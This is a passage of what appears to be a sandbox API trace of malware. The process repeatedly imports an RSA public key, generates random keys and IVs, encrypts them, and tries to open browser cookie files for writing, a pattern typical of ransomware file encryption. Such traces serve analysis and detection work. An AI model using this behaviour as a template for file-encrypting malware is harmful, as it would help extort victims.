1 [0175.637] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.639] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655d18) returned 1 [0175.639] CryptGetKeyParam (in: hKey=0x3655d18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.639] CryptEncrypt (in: hKey=0x3655d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.640] GetLastError () returned 0x0 [0175.640] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.640] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TFCJHLEI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tfcjhlei.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.640] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.642] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.642] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.642] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.643] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.643] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.643] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.645] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655898) returned 1 [0175.645] CryptGetKeyParam (in: hKey=0x3655898, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.645] CryptEncrypt (in: hKey=0x3655898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4c80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.646] GetLastError () returned 0x0 [0175.646] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.646] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.647] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36556d8) returned 1 [0175.648] CryptGetKeyParam (in: hKey=0x36556d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.648] CryptEncrypt (in: hKey=0x36556d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.648] GetLastError () returned 0x0 [0175.648] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.648] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U2OYIS47.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u2oyis47.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.648] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.650] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.650] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.650] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.651] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.651] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.651] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.654] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36558d8) returned 1 [0175.655] CryptGetKeyParam (in: hKey=0x36558d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.655] CryptEncrypt (in: hKey=0x36558d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ca0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4ca0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.655] GetLastError () returned 0x0 [0175.655] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.655] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.657] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655718) returned 1 [0175.657] CryptGetKeyParam (in: hKey=0x3655718, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.657] CryptEncrypt (in: hKey=0x3655718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4cb0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4cb0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.657] GetLastError () returned 0x0 [0175.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.657] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U8FCPAKJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u8fcpakj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.658] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.659] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.659] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.659] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.661] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.661] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.661] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.663] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655918) returned 1 [0175.663] CryptGetKeyParam (in: hKey=0x3655918, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.663] CryptEncrypt (in: hKey=0x3655918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4cc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4cc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.664] GetLastError () returned 0x0 [0175.664] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.664] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.665] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36559d8) returned 1 [0175.665] CryptGetKeyParam (in: hKey=0x36559d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.666] CryptEncrypt (in: hKey=0x36559d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4cd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4cd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.666] GetLastError () returned 0x0 [0175.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBUPNOZC.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubupnozc.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.666] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.668] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.668] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.668] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.668] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.670] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.670] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.670] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.672] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656498) returned 1 [0175.673] CryptGetKeyParam (in: hKey=0x3656498, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.673] CryptEncrypt (in: hKey=0x3656498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ce0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4ce0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.673] GetLastError () returned 0x0 [0175.673] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.673] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.675] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655e58) returned 1 [0175.675] CryptGetKeyParam (in: hKey=0x3655e58, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.675] CryptEncrypt (in: hKey=0x3655e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4cf0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4cf0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.675] GetLastError () returned 0x0 [0175.675] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.675] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBXQG39X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubxqg39x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.675] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.677] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.678] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.678] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.678] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.678] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.680] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36561d8) returned 1 [0175.680] CryptGetKeyParam (in: hKey=0x36561d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.680] CryptEncrypt (in: hKey=0x36561d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.681] GetLastError () returned 0x0 [0175.681] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.681] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.682] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655ed8) returned 1 [0175.682] CryptGetKeyParam (in: hKey=0x3655ed8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.682] CryptEncrypt (in: hKey=0x3655ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4d10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.683] GetLastError () returned 0x0 [0175.683] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.683] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UGL14QS0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ugl14qs0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.683] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.684] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.685] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.686] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.686] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.686] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.686] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.688] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655f18) returned 1 [0175.688] CryptGetKeyParam (in: hKey=0x3655f18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.688] CryptEncrypt (in: hKey=0x3655f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.689] GetLastError () returned 0x0 [0175.689] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.689] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.690] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656198) returned 1 [0175.690] CryptGetKeyParam (in: hKey=0x3656198, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.690] CryptEncrypt (in: hKey=0x3656198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4d30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.691] GetLastError () returned 0x0 [0175.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.691] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UUEVXDWP.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\uuevxdwp.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.691] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.693] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.693] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.693] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.693] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.694] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.694] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.694] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.694] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.696] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656118) returned 1 [0175.696] CryptGetKeyParam (in: hKey=0x3656118, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.696] CryptEncrypt (in: hKey=0x3656118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.697] GetLastError () returned 0x0 [0175.697] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.697] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.698] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36563d8) returned 1 [0175.699] CryptGetKeyParam (in: hKey=0x36563d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.699] CryptEncrypt (in: hKey=0x36563d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4d50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.699] GetLastError () returned 0x0 [0175.699] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.699] CreateFileW (lpFileName="C:\\Documents and 